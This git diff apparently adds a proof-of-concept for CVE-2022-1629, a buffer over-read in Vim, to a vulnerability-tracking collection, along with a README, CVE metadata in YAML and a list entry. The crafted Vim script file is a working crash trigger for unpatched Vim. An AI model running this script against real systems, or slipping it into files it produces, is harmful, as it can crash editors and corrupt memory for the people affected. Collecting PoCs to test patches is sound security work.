diff --git a/cve/vim/2022/CVE-2022-1629/README.md b/cve/vim/2022/CVE-2022-1629/README.md new file mode 100644 index 0000000000000000000000000000000000000000..bc146eaccc7eb8ad711870ef0698e20302c3187d --- /dev/null +++ b/cve/vim/2022/CVE-2022-1629/README.md @@ -0,0 +1,14 @@ + +# CVE-2022-1629 Proof-of-Concept + +### Overview + +Buffer Over-read in function find_next_quote in GitHub repository vim/vim prior to 8.2.4925. This vulnerabilities are capable of crashing software, Modify Memory, and possible remote execution +For a comprehensive understanding, check out the accompanying [blog post](https://nvd.nist.gov/vuln/detail/cve-2022-1629) for in-depth details. + +### Usage + +Run the PoC: +``` +vim -u NONE -X -Z -e -s -S ./poc_h4_s.dat -c :qa! +``` diff --git a/cve/vim/2022/CVE-2022-1629/poc_h4_s.dat b/cve/vim/2022/CVE-2022-1629/poc_h4_s.dat new file mode 100644 index 0000000000000000000000000000000000000000..79ba5fe90961b37c20dc75d42ae167497c07f5ea --- /dev/null +++ b/cve/vim/2022/CVE-2022-1629/poc_h4_s.dat @@ -0,0 +1,6 @@ +se encoding=iso8859 +fu R() +sil!normi"\ +cal R() +endf +cal R() \ No newline at end of file diff --git a/cve/vim/2022/yaml/CVE-2022-1629.yaml b/cve/vim/2022/yaml/CVE-2022-1629.yaml new file mode 100644 index 0000000000000000000000000000000000000000..6949cdb3d87acbc6d8ce89055914bb9196ed4c7d --- /dev/null +++ b/cve/vim/2022/yaml/CVE-2022-1629.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-1629 +source: https://huntr.dev/bounties/e26d08d4-1886-41f0-9af4-f3e1bf3d52ee/ +info: + name: Vim是一款基于UNIX平台的编辑器。 + severity: High + description: | + Vim 8.2.4925之前版本存在安全漏洞,该漏洞源于find_next_quote函数的缓冲区过度读取,从而导致软件崩溃、修改内存和远程执行。 + scope-of-influence: + vim< 8.2.4925 + reference: + - https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2022-1629 + - https://nvd.nist.gov/vuln/detail/CVE-2022-1629 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-1629 + cwe-id: CWE-126 + cnvd-id: None + kve-id: None + tags: 缓冲区错误 \ No newline at end of file diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 323454b7beb22c218ff26e79627829ece37c6ab0..332b627038ea5cc62f817e407b048bde52b55e98 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -37,6 +37,7 @@ cve: - CVE-2022-0685 - CVE-2022-0714 - CVE-2022-0729 + - CVE-2022-1629 - CVE-2022-1771 - CVE-2022-2206 - CVE-2022-2257